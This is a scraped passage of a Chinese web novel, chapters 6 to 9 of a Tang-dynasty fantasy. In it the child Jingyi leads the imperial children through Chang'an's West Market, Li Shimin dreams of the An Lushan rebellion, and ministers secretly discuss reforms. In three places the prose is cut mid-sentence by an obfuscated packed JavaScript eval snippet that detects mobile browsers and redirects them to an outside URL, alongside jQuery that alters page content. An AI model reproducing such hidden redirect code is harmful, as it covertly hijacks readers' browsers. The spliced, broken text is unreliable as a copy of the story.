安排妥当,长琴便不再多言,重新拿起竹简,仿佛眼前的儿童出游团即将进行的只是一次寻常的庭院散步。
景颐见状,知道没戏了,但很快又重新振作起来。
师父不去,说不定更能放开玩呢!他立刻又活力满满,一手拉起还有些懵懂的丽质,一手招呼李泰:“走走走!青雀二兄,我知道西市最好玩!高明大兄快跟上!”
李泰早已迫不及待,李承乾也压下心中一丝独自带队的紧张,向长琴再次行礼告辞,然后便在一众便装侍卫看似松散、实则严密的护卫下,簇拥着四个兴奋的孩子,离开了凝云轩,朝着宫外而去。
马车辘辘驶离皇城。车厢里,景颐俨然成了小导游,滔滔不绝地介绍着他从上次短暂出游和零星梦境碎片里拼凑出的《长安玩乐指南》。
虽然很多细节可能出自他的想象或理解偏差,但足以让李泰和丽质听得心驰神往,连李承乾都忍不住竖起耳朵。
而凝云轩内,重新归于宁静。长琴却并未继续阅读,他起身,走到院中那丛特意移栽的翠竹旁,目光仿佛穿透重重宫墙,落在了那辆驶向西市的马车上。
他并非不担心。景颐天性跳脱,能力尚未完全可控,市井环境复杂,皇室子女身份敏感。但他更清楚,真正的成长和掌控,需要空间和试炼。
将景颐完全护于羽下,并非长久之计。让他与这些人间身份最贵重的孩童一同,在相对安全但又不失真实的框架下去探索、去应对,或许正是最好的历练。况且,李世民和长孙皇后派出的护卫,绝非庸手。
更重要的是……他的神识微微发散,能隐约感受到,当景颐与那三位身负李唐气运的皇子公主靠近时,彼此间似乎形成了一种微妙的、相互牵引又相互制衡的场。
这或许对景颐稳定心神、无意识中学习收敛自身气息,有着意想不到的好处。
至于他自己……
他的目光落回手中的残卷。孩子们去他们的红尘历练,他也有他的古谱要寻。
或许,该去拜访一下那位对长安古乐掌故最为熟悉的太常寺老乐正了。
7. 第 7 章
长安西市,正值一日中最鼎沸的时辰。阳光炽烈,人声、马嘶、叫卖声、器皿碰撞声交织成一片充满生命力的宏大乐章。
空气中混杂着香料、熟食、皮革、酒浆以及汗水的复杂气味,对初次踏足此地的李承乾三人而言,这感官冲击可谓巨大。
李承乾努力维持着镇定,但微微攥紧的拳头泄露了他的紧张。
李泰则完全被迷住了,眼睛不够用似的左顾右盼,差点撞到扛着货担的行人。
丽质紧紧拉着大兄的手,既害怕人群的拥挤,又被琳琅满目的货摊和形形色色的人物所吸引,小脸上一半惶恐一半惊奇。
唯有景颐,如鱼得水。
他出发前特意换上了一身更便于行动的宝蓝色胡服,小皮靴踩在石板路上哒哒作响,腰间挂着皇后送的香囊和玉佩,手腕上丽质送的铃铛随着他的动作发出清脆声响。
他像一只领头的小羊,熟门熟路地穿梭在人群中,还不时回头招呼:“高明大兄!这边!看那个!捏面人的!”
“哇!面人!”李泰第一个响应,挤到摊子前,看着老匠人手里变幻出栩栩如生的小马、小狗,惊叹不已。
景颐已经掏出自己的零用钱——几枚漂亮的、从流云境带出来的灵光贝币(他坚持认为这个比铜钱好看,长琴懒得纠正,只在里面封了一丝混淆认知的小法术,凡人看去就是品相极好的开元通宝),财大气粗地拍在摊上:
“老丈!给我们一人捏一个!我要个大老虎!高明大兄要匹马!青雀二兄要、要只大鹏鸟!丽质阿姊要只小兔子!”
老匠人眉开眼笑,连连应承。李承乾本想阻止这奢侈行为,但看着弟弟妹妹亮晶晶的眼睛,又想到这是景颐弟弟用自己的钱请客(虽然那钱看起来有点怪),便默认了,只是暗暗记下,回宫后要禀明耶耶补偿。
捏好面人,景颐又领着他们冲向卖毕罗和酪樱桃的小食摊。
香甜滚烫的毕罗和冰凉酸甜的酪樱桃,彻底征服了几位小贵客的味蕾,连李承乾都暂时忘了仪态,吃得嘴角沾了酥渣。丽质小口吃着樱桃,眼睛幸福地眯成了月牙。
逛了半晌,吃了零嘴,景颐小手一挥,指向西市中最气派的一座三层食楼荟英楼:
“走!我们去那里吃好的!我听人说,那里的菜最好吃!” 他显然把不知道哪个梦境碎片或道听途说的信息当成了指南。
侍卫首领面色微变,低声道:“小郎君,荟英楼人多眼杂,不若寻个清净些的……”
那里达官贵人、富商胡贾云集,万一被认出来……
“不怕不怕!”景颐拍着胸脯,“我们坐在楼上雅间就好了!我都打听好了!”
其实是在马车上临时跟侍卫打听的。
最终,拗不过景颐的兴头和三位小殿下也明显流露出想试试的表情,侍卫们只好先行安排,包下了三楼一个临街但相对隐蔽的雅间。
荟英楼果然热闹非凡,人声鼎沸,胡姬当垆,酒香四溢。
登上三楼,视野开阔,可见楼下街景如织。几个孩子兴奋地趴在栏杆上看了一会儿,才被劝进雅间。
荟英楼三层雅间,孩子们围坐在铺设着靛蓝印花的食案旁,个个脸上都带着逛累后的红晕和兴奋。
一名口齿伶俐、不过十二三岁的小伙计被派来伺候这几位衣着不俗、护卫环伺的小客人。他脸上堆着殷勤的笑,开始如数家珍地报起菜名:
“几位小郎君、小娘子,咱们荟英楼的招牌,有凤凰胎,鲜嫩无比,入口即化!”
景颐一听,眼睛瞬间瞪得溜圆,差点从席上跳起来:“凤凰胎?!你们这里,有凤凰?!还、还能吃它的,胎?!”
他震惊了,流云境都没见过几只凤凰,这里居然拿来做菜?还卖?!
李承乾也是一愣,他知道有些菜肴名字起得华丽,但凤凰胎这名字着实有些骇人。李泰和丽质更是小脸发白。
吃凤凰?那岂不是……大不敬?丽质甚至下意识地捂住了嘴。
小伙计一愣,随即反应过来,连忙摆手赔笑:“哎哟,小郎君误会了!这凤凰胎不是真凤凰,是用最新鲜的鲤鱼白(鱼精巢)精心烹制的,只因色泽乳白,形态娇嫩,滋味鲜美赛过传说,故而得名,是比喻,比喻!”
景颐松了口气,但明显有些失望,小声嘀咕:“原来是鱼泡泡啊……名字起得吓人。”
小伙计擦擦汗,继续报:“还有雪婴儿,肉质雪白细腻,最是爽口。”
“婴儿?!” 这下连李承乾都皱起了眉头。
“是用初春的小青蛙,裹了细豆粉,用羊油煎得外酥里嫩,因形似婴孩,故名雪婴儿。” 伙计赶紧解释。
“升平炙呢?” 李泰好奇地问,这名字听起来很吉利。
“是取羊羔最嫩的里脊和鹿舌,切得薄如蝉翼,快速炙烤,寓意升平盛世,美味共享。”
“那……冷蟾儿羹总不会是蟾蜍吧?” 景颐心有余悸。
“是用肥嫩的蛤蜊肉熬制的羹汤,夏日用冰镇了,最是消暑。” 伙计笑道。
菜名一个个报下来,孩子们的表情从最初的震惊、恐惧,慢慢变成了恍然大悟和忍俊不禁。
原来不是吃凤凰、吃婴儿、吃蟾蜍,都是些寻常或稍珍贵的食材,被起了这些听起来十分了不得的名字。
景颐觉得有趣极了,又指着墙上的挂牌上一个名字问:“那这个仙人脔呢?真是仙人的肉?”
他想着,难道人间真有修士被做成菜了?
伙计忍笑忍得辛苦:“小郎君说笑了,那是用羊乳反复炖煮的鸡块,肉质酥烂如泥,入口无需咀嚼,仿佛仙人享用之物,故称仙人脔。”
“哦——”
四个孩子拉长了声音,一副原来如此的表情,互相看了看,都笑了起来,刚才的紧张气氛一扫而空。
最后,在侍卫的低声建议和李承乾的斟酌下,点了几样听起来正常又美味的菜肴,如箸头春(烤活鹌鹑)、同心生结脯(风干肉条)等,并要了清爽的槐叶冷淘(凉面)和蔗浆作为主食和饮子。
等待上菜时,景颐还在回味那些奇怪的菜名,模仿着伙计的腔调对李泰和丽质说:
“二位客官,要不要来一份龙肝凤髓?保证是真正的龙和凤哦!” 逗得李泰和丽质咯咯直笑,连李承乾的嘴角都忍不住上扬。
忽然一阵喧闹,楼下大堂似乎起了争执,声音渐高。似乎是某位喝醉的胡商与本地商人因货价问题吵了起来,双方仆从推搡,眼看就要动手。
食客们纷纷侧目,掌柜急得团团转。
雅间里,李泰和丽质有些害怕。李承乾皱眉,示意侍卫下去看看情况,必要时亮出低调的宫中信物平息事端,免得波及楼上。
唯有景颐,听到吵闹,不但不怕,反而眼睛一亮,蹭到栏杆边,踮着脚往下看,嘴里还评论:“打呀!怎么光吵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114017|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不打?那个大胡子力气大,肯定能赢!”
李承乾赶紧把他拉回来:“景颐,莫要围观,危险。”
就在这时,楼下那胡商似乎气急了,操起一个酒壶就要砸过去。对方也不甘示弱,拎起长凳。场面一触即发!
电光石火间,谁也没注意到,景颐那双因为兴奋而忘了收敛的褐色眼眸深处,极快地掠过一丝金芒。
他并非想插手,纯粹是觉得这样打没意思,潜意识里一丝极其微弱、连他自己都未察觉的希望场面更有趣的念头,混杂着他无意识逸散的一丁点时间灵力,悄然溢出。
楼下,那高举酒壶的胡商突然脚下一滑,像是踩到了不知何时滚到脚下的一个李子核,整个人“哎呦”一声,以一个滑稽的姿势向后仰倒,酒壶脱手,酒液泼了自己一身。
而对面举起长凳的商人,也被同伴突然从后面碰了一下,胳膊一歪,长凳“哐当”砸在旁边空桌上,汤汁四溅。
这突如其来的变故让双方都愣住了,怒气也被这狼狈打断。赶到的侍卫和楼中护卫趁机上前,将两边隔开劝解。
楼上雅间,景颐看着下面突然从武斗变成滑稽剧的场面,哈哈笑了起来:“真好玩!自己摔倒了!”
李承乾却若有所思地看了一眼景颐。刚才……是巧合吗?他怎么觉得,景颐弟弟说完“怎么光吵不打”之后,楼下就……
他摇摇头,甩开这个荒谬的念头,定是巧合。
风波平息,菜肴也陆续上桌。孩子们很快被精美新奇的菜肴吸引了全部注意力,尤其是那道浑羊殁忽,切开后香气四溢,让连常吃御膳的几位小贵客也赞不绝口。
景颐更是吃得毫无形象,嘴角沾满油光,还试图用手去抓烤得金黄的羊腿,被李承乾用筷子轻轻敲了下手背,才改用餐具,但依旧吃得欢快无比。
这顿饭吃得心满意足。结账时,景颐又掏出他的灵光贝币,这次连见多识广的掌柜都愣了一下,仔细辨认后,才犹豫着按极品通宝的价值收了,还找补了不少铜钱,暗自嘀咕这是哪家豪奢小郎君,用这般稀罕物当饭钱。
吃饱喝足,又在景颐的带领和侍卫的暗中引导下,看了会儿杂耍,买了些小泥人、竹哨等玩意儿,日头已开始西斜。
回宫的马车上,孩子们都带着疲惫但兴奋的笑容,怀里抱着各自的战利品。
李泰还在回味那个能喷火的胡人戏法,丽质小心地捧着一个新买的、绘着仕女的团扇。
李承乾则看着靠在自己肩上已经有些打瞌睡的景颐,小家伙手里还紧紧攥着那个没吃完的、已经有些融化变形的老虎面人。
“景颐弟弟今日玩得可开心?” 李承乾轻声问。
景颐迷迷糊糊地“嗯”了一声,嘟囔道:“开心……下次……还和高明大兄、青雀二兄、丽质阿姊出来……吃那个……会冒火的肉……” 声音渐低,竟是睡着了。
李承乾替他拢了拢蹭歪的衣襟,看着那张毫无防备的睡颜,想起今日市井中的种种,尤其是食楼里那蹊跷的化干戈为滑稽一幕,心中那份模糊的疑惑再次泛起。
这位景颐弟弟,怕是真如父皇母后暗示的那样,身上藏着不少秘密。
不过,那又如何呢?他今日带着弟妹,见识了从未见过的鲜活世界,品尝了民间美味,更重要的是,大家都很开心,平安无恙。这便足够了。
马车缓缓驶入皇城,将市井的喧嚣远远抛在身后。
8. 第 8 章
几日后,李世民处理完繁杂政务,心中那份自夏苗以来便挥之不去的隐忧,以及近日观察景颐与孩子们相处、听高明提及西市之行种种后愈发强烈的探究欲,让他决定再次前往凝云轩。
与长琴的谈话往往在深夜进行。今夜亦是如此。
烛火在精致的铜灯中摇曳,映照着长琴清雅的侧脸和李世民凝重专注的神情。他们谈论的已不止于景颐的溯梦与《鸣岐谱》的缥缈线索,更涉及到一些关乎王朝治理、人性、历史循环的深层思索。
长琴虽言语简洁,每每点出关键,视角超然,却往往能给李世民带来豁然开朗或更深沉的思虑。
不知不觉,宫漏已报子时。窗外夜色浓稠如墨,万籁俱寂。
李世民揉了揉发胀的额角,正欲告辞,长琴却淡淡开口:“更深露重,陛下若不嫌弃此处简陋,可于西厢暂歇一宿。”
他并非客套,而是看出李世民精神虽亢奋,身体却已露疲态,且眼中血丝隐现,怕是回甘露殿也难安眠。
李世民略一迟疑,便点头应允。他确实感到身心俱疲,且在这凝云轩中,远离前朝纷扰,面对着这位非人的仙长,反而有种奇异的放松感。
西厢房布置得极为简单,一榻、一几、一屏风而已,但洁净非常,空气中飘散着淡淡的、宁神的檀香与竹叶清气。
景颐今晚恰好也睡在这里。
这小家伙下午玩疯了,赖在师父这里不肯回自己屋子,早早便抱着小枕头睡着了,此刻正蜷在榻里侧,呼吸均匀,小脸在睡梦中显得格外安宁。
长琴并未多言,只示意李世民自便,便转身回了主室,门扉轻掩。
李世民褪下外袍,看着榻上那一小团。孩童纯净的睡颜仿佛有种魔力,能涤荡人心头的焦躁。
他轻轻在榻外侧躺下,尽量不惊动景颐。被褥柔软,带着阳光和草木的气息。连日来的疲惫如潮水般涌上,他很快便沉入了睡乡。
然而,梦境并不安宁。
起初是混沌的。渐渐地,熟悉的、令人心悸的灼热感与喧嚣声由远及近。这一次,不再是玄武门前夜的惊鸿一瞥,也不再是林中破碎的片段。
是,全部。
他仿佛一个被迫悬于高空的幽灵,眼睁睁地、无比清晰地看着那场浩劫如何一步步发生、蔓延、直至摧毁一切。
他看到开元盛世极致的繁华下,潜滋暗长的骄奢与隐忧;看到那个名叫安禄山的胡将如何以谄媚与战功攫取权柄,看到朝堂的麻痹与边镇的失衡;看到渔阳鼙鼓动地而来时,承平日久的州县是如何的惊慌失措、一触即溃;
他看到潼关失守,哥舒翰被俘,消息传到长安时,龙椅上的李隆基那难以置信的惊怒;看到仓皇辞庙、夜半出逃的狼狈与凄凉;看到马嵬坡前六军不发的逼迫,看到白绫悬树的惨烈;
他看到叛军铁蹄踏入长安,烧杀抢掠,宫阙蒙尘,百姓如羔羊;看到太子在灵武匆匆即位,艰难支撑;看到郭子仪、李光弼等将领在血火中苦苦搏杀,收复两京的惨烈与反复;
他看到战争如何持续八年,山河破碎,人口锐减,民生凋敝,盛世的锦绣被撕扯得千疮百孔;看到藩镇割据的隐患由此深深埋下,朝廷权威一去不返;看到杜甫笔下“国破山河在,城春草木深”的悲怆,看到颜真卿祭侄文稿中那力透纸背的悲愤与绝望……
这不再是之前的匆匆一瞥,而是沉浸的、充满细节与情感的体验。
他能感受到逃难路上的饥渴恐惧,听到乱兵刀下的惨叫哀求,闻到战后废墟的焦臭与血腥。
那种无力回天、眼睁睁看着自己辛苦建立的基业崩塌、万民涂炭的剧痛与窒息感,几乎将梦中的他撕裂。
“不……不是这样……不能这样……” 他在梦魇中挣扎,冷汗浸透了中衣。
就在这时,睡在他身旁的景颐似乎被这剧烈波动的情绪和庞大的梦境信息所影响,不安地动了动,发出一声含糊的嘤咛,小手无意识地挥动了一下,碰到了李世民汗湿的手臂。
仿佛是某种开关被触发,又或者是两个不同性质的气运与灵力在深度睡眠中产生了更强烈的共鸣。
梦境画面骤然变得更加清晰、更加具有冲击力,甚至开始夹杂一些零碎的、仿佛来自不同时空视角的评论或碎片:
某个后世文人摇头叹息的侧影,某句刻在石碑上的哀悼诗文,甚至是一缕来自更遥远未来、对这段历史定性的尘埃落定般的苍凉感……
“呃——!” 李世民猛地从榻上坐起,大口喘着粗气,胸口剧烈起伏,眼神涣散,仿佛还未从炼狱般的景象中挣脱。
冷汗顺着他的额角、鬓边涔涔而下,里衣已然湿透,紧贴在皮肤上,带来一片冰凉的黏腻。
他的动静惊醒了景颐。小家伙揉着惺忪的睡眼坐起来,迷迷糊糊地看着身边剧烈喘息、面色惨白如纸的李叔叔。
景颐自己似乎也做了些混乱的梦,小眉头皱着,带着哭腔嘟囔:“好多火……好多人哭……吵……”
几乎是李世民惊醒的同时,外间的长琴已然察觉不对,身影一闪便出现在厢房门口。
他指尖一点,桌上的油灯无声亮起,柔和的光线驱散了部分黑暗,也照亮了李世民惊魂未定的脸和景颐懵懂困惑的表情。
长琴的目光先落在景颐身上,迅速感知了一下,确认他只是被波及,有些惊悸,并无大碍。随即,他看向李世民,琉璃色的眼眸在灯光下显得格外深邃。
他的声音平稳,却带着一种安定人心的力量:“又看到了?”
李世民用力闭了闭眼,试图驱散脑海中那些鲜活如刚刚发生过的惨烈画面,喉咙干涩得发不出完整的声音,只能沉重地点了点头。
这一次的目睹,比以往任何一次都要清晰、完整、深刻。那不再是一个模糊的警示,而是一幅血淋淋的、几乎可以触摸到细节的亡国图景。
长琴走到榻边,将因不安而靠过来的景颐揽入怀中,轻轻拍抚他的后背,一股宁静的灵力缓缓渡入,安抚着小家伙残余的惊悸。
景颐很快在师父令人安心的气息中重新放松下来,眼皮又开始打架。
“这一次,” 长琴的目光重新落回李世民脸上,语气平静却带着洞悉一切的了然,“是全部?”
李世民深吸一口气,终于找回了自己的声音,嘶哑而沉重:“……是。从头至尾,历历在目……恍如亲历。”
他抬起头,眼中布满了血丝,那里面不再是单纯的恐惧,而是一种混合了巨大悲痛、沉重责任以及,被逼到绝境后反而生出的、孤注一掷的决绝,
“仙长……那景象……那些因果……我,大致看清了。”
长琴静静地看着他,没有立刻说话。深夜的凝云轩,只有景颐逐渐平稳的呼吸声,和李世民依旧有些不稳的气息。
良久,长琴才缓缓道:“看清了,然后呢?”
李世民赤脚下榻,站在冰凉的地板上,身姿却挺得笔直。窗外透入的微光勾勒出他坚毅的轮廓。他望向窗外无边的夜色,仿佛要看穿时空,望向那潜藏在未来阴影中的危机。
“然后,” 他的声音低沉,却字字清晰,仿佛誓言,凿入这寂静的深夜里,“便是想办法,让它永不发生。”
景颐在师父怀里蹭了蹭,完全不知道,自己无意识中泄露的梦,已经彻底改变了身边这位人间帝王的内心轨迹,并将深远地影响这个王朝的未来。
他只是觉得,今晚的梦,好像特别长,也特别累人。
——
一连几日的雷雨,今日天气终于放晴。
景颐在凝云轩闷了两天早已按捺不住,趁着师父午后入定,便一溜烟跑出来,熟门熟路地摸到了丽质和李治常玩耍的御花园东侧小广场。
丽质正带着李治玩黄鹞吃鸡的游戏。
丽质当“母鸡”,身后跟着一串小宫女装扮的“小鸡”,而李治摇摇晃晃地努力扮演那只最凶猛、也最容易被绊倒的“小黄鹞”。
景颐一看就乐了,立刻加入战局,自告奋勇要当最厉害的“大公鸡”,负责保护“小鸡”和对抗“黄鹞”。
游戏立刻升级,变得更加混乱。景颐仗着身手灵活,左冲右突,咯咯笑着躲避李治笨拙的扑击,又不时故意放慢速度逗他,引得李治和一群小宫女笑闹不断,叫声震天。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114018|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
正玩得兴起,“大公鸡”景颐为了躲避“小黄鹞”李治的一次突袭,猛地一个“鹞子翻身”(自创的),朝着旁边一条通往两仪殿的甬道方向跑去,边跑还边回头做鬼脸:“抓不到抓不到!”
谁知,就在他回头嘚瑟的刹那,结结实实撞在了一堵“软墙”上。
确切说,是撞在了一个人的腿上。
“哎哟!” 景颐撞得一屁股坐在地上,手里用作“公鸡冠”的彩色羽毛都掉了。他捂着撞疼的额头,泪花在眼眶里打转,抬头望去。
只见面前站着几位身着紫袍、头戴进贤冠的大臣,显然是要去两仪殿议事。
被撞的那位,是个身材微胖、面容和善、蓄着漂亮长须的中年人,正是当朝司空、梁国公房玄龄。
房玄龄也被这突如其来的“袭击”弄得一愣,低头看见坐在地上、穿着锦缎胡服、眼睛湿漉漉望着自己的小男孩,不由失笑,弯腰想将他扶起来:“这是谁家的小郎君?跑得这般急,可有摔疼?”
他身后的高士廉、长孙无忌等人也停下脚步,饶有兴致地看着这意外插曲。他们都认得几位皇子公主,却从未见过这个眼生的孩子。
景颐自己爬起来,拍拍屁股上的灰,也没哭,注意力立刻被房玄龄那梳理得一丝不苟、油光水滑的长须吸引了。
他好奇地凑近了些,仰着小脸,眨巴着那双灵动无比的眼睛,盯着那胡子看,甚至下意识地伸出手指,似乎想揪一根。
“咦?你的胡子好长好亮啊!” 景颐脱口而出,语气充满惊奇,仿佛看到了什么稀罕物。
“像……像流云境仙鹤尾巴上的羽毛!” 他努力在贫乏的人间见识里寻找比喻。
房玄龄:“……” 他捋须的手僵在半空,一时不知该如何接这话。鹤尾羽毛?这比喻……
后面几位大臣已经有人忍不住以袖掩口,肩膀微抖。
丽质和李治这时也跑了过来。丽质看到几位重臣,连忙拉着弟弟规规矩矩地行礼:“丽质见过房公、舅舅、舅公。” 李治也奶声奶气地跟着学舌。
房玄龄等人连忙还礼:“公主殿下,九殿下。”
景颐这才注意到其他人,他的目光扫过后面几位老伯伯,最后又回到面前这个长胡子的老伯伯脸上,完全没被大人们的官威影响,反而歪着头,认真地问:“你们是谁呀?我怎么没见过你们?你们也是来找李叔叔……呃,陛下的吗?”
这话问得天真直率,却让几位大臣又是一愣。这孩子不仅直呼“李叔叔”,还一副这宫里人我都该见过的口吻。
长孙无忌微微蹙眉,看向丽质:“公主,这位是……”
丽质忙道:“舅舅,这是景颐弟弟,是、是暂居宫中的客人。” 她谨记父母和仙长叮嘱,没有多说。
景颐却自来熟地自顾自的说着,指着房玄龄的胡子:“大胡子伯伯,你天天在宫里吗?我怎么没看见过你?你胡子这么长,吃饭会不会掉进去?”
“噗——” 高士廉这次没忍住,轻笑出声。
房玄龄也是哭笑不得,他一生辅佐君王,经纶满腹,被无数人敬重、请教,还是第一次被一个稚童如此研究胡子,并担心他吃饭问题。
他好脾气地蹲下身,与景颐平视,温和笑道:“老夫房玄龄,并非日日都在宫中。至于这胡子嘛……吃饭时小心些便是了。”
“房、玄、龄?” 景颐一字一顿地重复,努力记住这个名字,然后点点头,煞有介事地说,“哦!我记住了!大胡子房伯伯!你下次来,找我玩啊!我知道御膳房新做了什么好吃的点心!”
说完,他也不等房玄龄回答,注意力又转移到跑过来的丽质和雉奴,拉着他们转头跑回去又投入了新一轮的黄鹞吃鸡大战,留下几位当朝重臣在原地面面相觑,摇头失笑。
长孙无忌看着景颐跑远的背影,眼中若有所思。
高士廉捻须笑道:“不知谁家儿郎,倒是有趣得紧,一派赤子天真。”
房玄龄则笑着摇头:“童言无忌,童言无忌啊。” 只是心中也难免对这突兀出现、又能与皇子公主如此亲密玩耍的景颐多了几分留意。
9. 第 9 章
或许是下午点心吃多了些(他偷偷多拿了两块),这天夜里,景颐睡得不太踏实。
他做了个混乱的梦,梦里师父在弹一首很急很重的曲子,弹得流云境的竹子都在颤抖。然后他就醒了。
夜深人静,月光如水。他躺在凝云轩的小床上,睁着眼睛看着帐顶绣的云纹。就在他准备再次入睡时,那双天生灵敏的麒麟耳朵,捕捉到了极其细微的动静。
不是虫鸣,不是风声。
是一种嗡嗡的、低沉的、很多很多字句挤在一起,像很多蜜蜂在很远的地方开会,但又有一点点熟悉的气息透过墙壁和地面,隐隐约约钻进他的耳朵里。
他揉了揉眼睛,屋子里黑乎乎的,师父好像不在?
窗外月光很亮,在地上铺了一层银霜。
那些嗡嗡声断断续续,听不清楚,但莫名让人觉得严肃,还有点……紧张?
像祝融爷爷来到流云境后,所有鸟儿都不叫了的那种安静中的紧张。
景颐睡不着了。他竖起耳朵,光着脚丫,悄无声息地溜下床,贴着冰凉的地板,慢慢爬到靠近外面回廊的那扇窗下。
声音好像就是从那边传过来的,凝云轩主室的方向,但门关着,还有师父不知道什么时候布下的、防止声音和某些东西乱跑的薄薄光膜。
不过,景颐的耳朵好像能穿过一点点?
他把耳朵紧紧贴在墙壁上,屏住呼吸。
声音变得稍微清楚一点了,但还是像隔着一层厚厚的被褥。
他听到李叔叔的声音,比平时低沉,像是压着一块很重很重的石头:
“……非是杞人忧天。史鉴在前,周……秦汉……兴衰循环,其理或有相通。朕所虑者,非一时一地之得失,乃国本之固,百年之计。”
然后是大胡子房伯伯的声音,慢悠悠的,但每个字都像秤砣一样稳:
“陛下深谋远虑。强干弱枝,乃长治久安之基。然矫枉过正,亦生肘腋之患。节度之制,初衷本善……”
“善?” 另一个有点冷、有点硬的声音插进来,像冰碴子,“权柄过重,财赋自专,假以时日,尾大不掉,必成痈疽!当早为之计,徐徐图之,不可纵容。”
景颐听得迷迷糊糊。强干弱枝?是说要让树干变粗,树枝变细吗?树不是都那样吗?节度是什么?新的游戏规则?痈疽……听起来像是生病了,很痛的样子。
李叔叔又说话了,这次带着一种斩钉截铁的意味:
“不错。中枢之威,不可坠。驭将之道,恩威并施,更需制衡。兵制、财赋、监察……均需未雨绸缪。玄龄,你所提轮流更戍、文臣参赞之议,深合朕意。另,科举之门,当再拓宽,寒门才俊,乃朝廷新鲜血脉,不可使世家独美。”
“陛下圣明。” 这是另一个老伯伯的声音,听起来很赞同,“取士之途广,则天下英雄入彀中,人心自安。然推行之道,宜缓不宜急,需潜移默化,方不至于激起波澜。”
接着,他们又说起了一些景颐完全听不懂的词:府兵制、均田、漕运……好多好多,像天书一样。
但景颐能感觉到,李叔叔说话时,那种沉重的、像背着大山一样的感觉,好像少了一点点?
他还听到李叔叔压低声音,用更轻的语气说:“……此事关乎国运,非同小可。诸卿乃朕之股肱,今日所言,出得我口,入得尔耳,暂不可为第六人知。徐徐布局,以待天时。”
“臣等谨记。” 几个声音一起低声回应。
然后,谈话的声音就更低了,渐渐听不清了。只剩下夜风吹过竹叶的沙沙声,还有远处宫灯在石板上拖出的、微微晃动的光影。
景颐蹲在墙根下,抱着膝盖,打了个小小的哈欠。他好像听懂了一点点,又好像什么都没懂。只记得皇帝伯伯他们好像很担心大树生病,在商量怎么给它治病,不让它长歪,还要找很多很多厉害的人来帮忙。
“唔……听起来好麻烦啊。” 景颐小声嘀咕,“比跟青雀二兄打双陆还麻烦。”
他挠挠头,觉得大人们的世界真是复杂。还是玩游戏简单,跑累了就能吃点心。
他又听了一会儿,确认再没有有趣的话了,便蹑手蹑脚地爬回床上,钻进还带着余温的被窝。
闭上眼睛前,他模糊地想:李叔叔好像没那么难过了?希望他们商量的办法有用吧。不然,李叔叔不高兴,丽质阿姊和雉奴弟弟也会不高兴的……
带着这点懵懂的担忧和困意,景颐很快又重新沉入了梦乡,完全不知道自己无意中偷听到的是什么东西。
——
景颐再次醒来,已是天光大亮,他早已忘记了半夜偷听到的东西,撒着脚丫就往主室跑,喊着:“师父!师父!”
跑到主室却发现师父根本不在,景颐噘着嘴,师父上哪儿去了啊,昨天晚上就不在。
这时,李嬷嬷走了进来,她看见景颐连鞋都没穿,连忙上前:“哎呦!小郎君!怎么不穿鞋啊!”
她把景颐抱到榻上,转身回厢房拿景颐的鞋子。
等到嬷嬷回来,景颐好奇地问她:“嬷嬷,你知道我师父去哪儿了吗?”
“天刚亮,仙长就走了,走之前嘱咐我们,说小郎君别乱跑,好好在宫里待着。”
景颐闻言撅了噘嘴,小声地“哼”了一声。穿好鞋子,景颐马不停蹄就往外面跑。
“哎!小郎君!仙长说了不能出宫!”
“哼!我不出宫!”景颐转身跺了跺脚,“我去找丽质阿姊和雉奴玩!”
说完,转身就像炮弹一样冲了出去。
“哎!”
李嬷嬷连忙招呼上另一个嬷嬷,追了上去。
景颐熟门熟路地朝着丽质和雉奴常待的凉亭方向跑。
两个嬷嬷气喘吁吁的在后面追,又不敢大声呼喊惊扰宫闱,只得尽力让景颐的影子不在视线范围内消失。
景颐跑到半路,经过一处偏殿的回廊,景颐猛地刹住脚。
他看见廊下阴凉处,两个穿绿袍的内府局书吏正蹲在地上,面前摆着一大堆长短不一的算筹,正满头大汗地核对着一卷厚厚的账册。
他们一边摆着算筹,一边低声念着数字,时不时还要停下来重新摆放,眉头紧锁,显然进行得很不顺利。
“咦?”景颐的好奇心瞬间被吸引。他见过算筹,但没见过这么一大堆,也没见过人这么愁眉苦脸地摆弄。
他忘了去找丽质和雉奴,凑到他们身边,看得津津有味。
只见一个书吏不小心碰乱了刚摆好的一片算筹,哀嚎一声:“又乱了!这太慢了,得算到什么时候!”
另一个也叹气:“可不是,要是能像传说中的神算子,心念一转就知道结果就好了。”
景颐看着那些滚来滚去的小木棍,脑子里不知怎的,忽然闪过一些极其模糊的碎片。
好像是很久很久以后,有人在一些固定的杆子上拨弄圆溜溜的珠子,噼里啪啦,又快又响,数字就出来了。
那画面一闪而过,快得抓不住,但珠子、杆子、快这几个印象留了下来。
他觉得地上那些算筹又笨又麻烦。“要是用珠子串在杆子上,不就滚不乱了?一排一排的,看着也清楚。”
两人被突然其来的声音吓了一跳,这才发现旁边不知什么时候站了个小贵人。
两人连忙起身行礼:“小贵人,不知有何贵干?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 